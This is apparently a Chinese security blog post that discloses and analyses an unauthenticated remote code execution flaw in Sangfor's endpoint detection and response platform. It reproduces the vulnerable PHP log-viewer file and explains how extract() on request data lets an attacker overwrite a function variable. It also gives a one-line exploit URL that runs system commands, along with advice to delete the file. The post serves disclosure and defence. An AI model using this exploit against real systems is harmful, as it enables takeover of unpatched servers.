深信服终端检测响应平台 preauth RCE 0day 分析
0x00关于本文
这个护网太刺激了,才一天就爆出那么多0day出来。
而深信服这个玩意的0day非常重磅,甚至据说因为这个0day太猛,还要暂停演习,免得太不公平
但是在机缘巧合之下,笔者拿到了相关漏洞的代码,不禁哑然失笑,没想到这个漏洞居然这么低级,一个大厂开发的东西理应不该如此低级才对,但是事实就是这样,笔者也很惊讶
在这篇文章中,笔者会给出相关的漏洞代码,漏洞分析,EXP,修复措施
0x01 漏洞代码
漏洞出现在 tool/log/c.php里面
代码如下
<?php
/**
* c.php
* 查看ldb的日志
* 支持正则表达式过滤,可以过滤文件以及每行日志
*/
call_user_func(function() {
/**
* 编解码
* @param string $data 编解码数据
* @return string 返回编解码数据
*/
$code = function($data) {
for ($i = 0; $i < strlen($data); ++$i) {
$data[$i] = $data[$i] ^ 'G';
}
return $data;
};
/**
* 加密请求
* @param string $site 站点
* @param string $query 请求串
* @return string 返回请求URL
*/
$request = function($site, $query) use(&$code) {
$path = base64_encode($code($query));
return "$site/$path";
};
/**
* 解密回复
* @param string $data 回复数据
* @return array 返回回复数据
*/
$response = function($data) use(&$code) {
$ret = json_decode($data, true);
if (is_null($ret)) {
$dec = $code(base64_decode($data));
$ret = json_decode($dec, true);
}
return $ret;
};
/**
* 找到匹配的日志
* @param string $path 文件路径匹配
* @param string $item 日志项匹配
* @param string $topn TOP N
* @param string $host 主机
* @return array 返回匹配结果
*/
$collect = function($path, $item, $topn, $host) use(&$request, &$response) {
$path = urlencode($path);
$item = urlencode($item);
$result = file_get_contents($request("http://127.0.0.1:8089", "op=ll&host=$host&path=$path&item=$item&top=$topn"));
return $response($result);
};
/**
* 显示某个表单域
* @param array $info 表单域信息, array("name" => "xx", "value" => "xxx", "note" => "help");
* @return
*/
$show_input = function($info) {
extract($info);
$value = htmlentities($value);
echo "<p><font size=2>$title: </font><input type=\"text\" size=30 id=\"$name\" name=\"$name\" value=\"$value\"><font size=2>$note</font></p>";
};
/**
* 去掉反斜杠
* @param string $var 值
* @return string 返回去掉反斜杠的值
*/
$strip_slashes = function($var) {
if (!get_magic_quotes_gpc()) {
return $var;
}
return stripslashes($var);
};
/**
* 显示表单
* @param array $params 请求参数
* @return
*/
$show_form = function($params) use(&$strip_slashes, &$show_input) {
extract($params);
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
$path = isset($path) ? $strip_slashes($path) : "";
$row = isset($row) ? $strip_slashes($row) : "";
$limit = isset($limit) ? $strip_slashes($limit) : 1000;
// 绘制表单
echo "<pre>";
echo '<form id="studio" name="studio" method="post" action="">';
$show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1"));
$show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce"));
$show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s"));
$show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100"));
echo '<input type="submit" id="button">';
echo '</form>';
echo "</pre>";
};
/**
* 入口函数
* @param array $argv 配置参数
* @return
*/
$main = function($argv)
use(&$collect) {
extract($argv);
if (!isset($limit)) {
return;
}
$result = $collect($path, $row, $limit, $host);
if (!is_array($result)) {
echo $result, "\n";
return;
}
if (!isset($result["success"]) || $result["success"] !== true) {
echo $result, "\n";
return;
}
foreach ($result["data"] as $host => $items) {
$last = "";
foreach ($items as $item) {
if ($item["name"] != $last) {
$last = $item["name"];
echo "\n[$host] -> $last\n\n";
}
echo $item["item"], "\n";
}
}
};
set_time_limit(0);
echo '<html><head><meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"></head>';
echo '<body bgcolor="#e8ddcb">';
echo "<p><b>Log Helper</b></p>";
$show_form($_REQUEST);
echo "<pre>";
$main($_REQUEST);
echo "</pre>";
});
?>
0x02 漏洞分析
首先代码开头的call_user_func里面套一个function就很迷,搞这个在笔者眼里完全是多余的
因为其实就相当于执行function()里面的内容而已
接着我们在77-82行看到了他们定义的strip_slashes
笔者实在无法理解这些人为什么不直接用 function name($xxx){}的形式定义函数,而一定要弄个时髦的匿名函数,然后复制给一个变量,但是既然这么做了,我们就接着看下去
接着呢在89-94行里面,调用了这个函数
看起来就是调用对吧,很完美对吧,没什么问题对吧....只要不被变量覆盖就好
可惜的是,偏偏就是有变量覆盖
刚才代码那里,90行直接extrat($params),那么问题来了,$params从哪儿来的呢?
往下翻翻就能找到答案
啊这,直接从$_REQUEST里面来,这说明用户提交的参数被直接extract可以覆盖任意变量了..包括$strip_slashes
那么该怎么利用呢?
我们知道PHP是支持通过字符串来调用函数的
举个例子
这个会直接调用phpinfo函数
因此按照上面的代码,只需要把strip_slashes覆盖成我们想要执行的函数就可以了,而参数$host也可以覆盖,那么就相当于是可以调用任意函数,传入任意参数了!
0x03 POC/EXP
https://web/tool/log/c.php?strip_slashes=system&host=id
是的只需要这么一行就可以利用
防守方请注意,这是extract的$_REQUEST,因此无论是GET/POST/COOKIE的参数都可以用来覆盖,因此把这句话添加到WAF里面过滤是不可行的,攻击者可以轻易绕过!
0x04 修复方法
不要妄图设置WAF规则来修复!
直接删掉这里的c.php!
鉴于他们代码质量不佳,漏洞也一定不止这一处,建议直接下线,不然依然有被打穿的风险
0x05 最后说两句
现在HW太疯狂了,以前据说是Nday一起上,万箭齐发就可以了,现在是到处丢0day
以前是重金雇佣带黑客,现在是重金购买高危0day
这种贴近实战的攻防演习一下来,谁的东西能真正抗攻击抗0day,谁的是看起来很不错但实际上很粗糙,一下就能被看出来了。
尽管0day爆出来很刺激,蓝方的朋友们又得加班加点熬夜防护了,但这至少比让0day在黑市上面被转手114514次最后被犯罪分子利用来的好
评论
发表评论